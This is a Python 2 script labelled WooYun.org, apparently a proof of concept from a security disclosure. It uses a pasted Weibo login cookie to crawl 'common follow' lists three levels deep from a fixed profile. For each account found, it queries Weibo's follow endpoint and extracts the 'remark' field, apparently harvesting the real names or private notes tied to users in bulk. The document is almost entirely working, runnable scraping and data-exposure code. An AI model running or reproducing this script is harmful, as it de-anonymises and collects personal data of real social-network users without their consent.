WooYun.org

#!/usr/bin/env python
#coding:utf-8
import urllib,urllib2
import re,sys
import cookielib
import json
'''
1.入口
2.爬去一层
3.通过第一层的oid构造出第二层的共同关注url
4.爬取第二层
'''
#全局变量
##已经爬行过的路径
oidlist = set()
spiderlist = set()
global count
count = 0
headers={}
headers = {
        'Cookie': 这里添加你的cookie这里添加你的cookie哟,
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
        'DNT': 1,
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Referer': 'http://weibo.com/m4njusaka?from=feed&loc=at&nick=%E8%82%89%E8%82%89%E8%A6%81%E5%A5%BD%E5%A5%BD%E5%86%99%E4%BB%A3%E7%A0%81&noscale_head=1'
        }
def get_name(content):
    try:
        name = []
        name = re.findall('CONFIG\[\'onick\'\]=\'(.*?)\'', content) 
        return name[0]
    except Exception,e:
        pass
def get_oid(content):
    try:
        oid =[]
        oid = re.findall('CONFIG\[\'oid\'\]=\'(.*?)\'', content) 
        return oid[0] 
    except Exception,e:
        pass
def get_real_name(user):
    real_name = []
    user['name'] = urllib.quote(user['name'])
    postdata = urllib.urlencode({
        'uid' : user['oid'],
        'objectid' : '',
        'f' : 1,
        'extra' : '',
        'refer_sort' : '',
        'refer_flag' : '',
        'location' : 'page_100505_home',
        'oid' : user['oid'],
        'wforce' : 1,
        'nogroup' : 'false',
        'fnick' : user['name'],
        '_t' : 0,
    })
    url = "http://weibo.com/aj/f/followed?ajwvr=6&__rnd=1419910508362"
    req = urllib2.Request(
                url = url,
                data = postdata,
                headers =headers
            )
    result = urllib2.urlopen(req).read()
    real_name = re.findall('"remark":"(.*?)"',result)
    if real_name:
        return real_name[0]
def get_urllist(url):
    cj = cookielib.LWPCookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    urllib2.install_opener(opener)
    req = urllib2.Request(url, headers=headers) 
    response = urllib2.urlopen(req)
    content = response.read()
    url_list = re.findall(r'action-data=\\\"uid=(.*?)&fnick=(.*?)&.*?\\\">私信',content)
    return url_list
def get_page_sum(url):
    '''返回共同关注人页数'''
    req = urllib2.Request(url, headers=headers) 
    response = urllib2.urlopen(req)
    content = response.read()
    page = re.findall(r'page S_txt1',content)
    page_sum = len(page)
    return page_sum
def spider(depth, startURL):
    i = 0 
    if depth <= 0: 
       return 0
    else:
        url_list = get_urllist(startURL)
        if len(url_list) >0:
            for url in url_list:
                spider_url = "http://www.weibo.com/p/100505%s/follow?relate=same_follow" % url[0]
                sum_page = get_page_sum(spider_url)
                for page in range(1,sum_page):
                    spider_url = "http://www.weibo.com/p/100505%s/follow?relate=same_follow&page=%s" % (url[0], page)
                    target_url = "http://weibo.com/u/%s" % url[0]
                    if url[0] in oidlist:
                        continue
                    else:
                        spider(depth - 1, spider_url)
                        get_user(url[0])
                        oidlist.add(url[0])
def get_user(oid):
    url = "http://weibo.com/u/%s" % oid
    req = urllib2.Request(url, headers=headers) 
    response = urllib2.urlopen(req)
    content = response.read()
    user ={
        'name' : get_name(content),
        'oid' : get_oid(content),
        'real_name' : ''
    }
    user['real_name'] = get_real_name(user)
    print  user['oid'], urllib.unquote(user['name']), json.loads('{"test": "%s"}' % user['real_name'])['test']
def main():
    max_depth = 3
    '''开始爬行地址'''
    startURL = 'http://weibo.com/p/1005053191954357/follow?from=page_100505_profile&wvr=6&mod=modulerel'
    spider(max_depth, startURL)
main()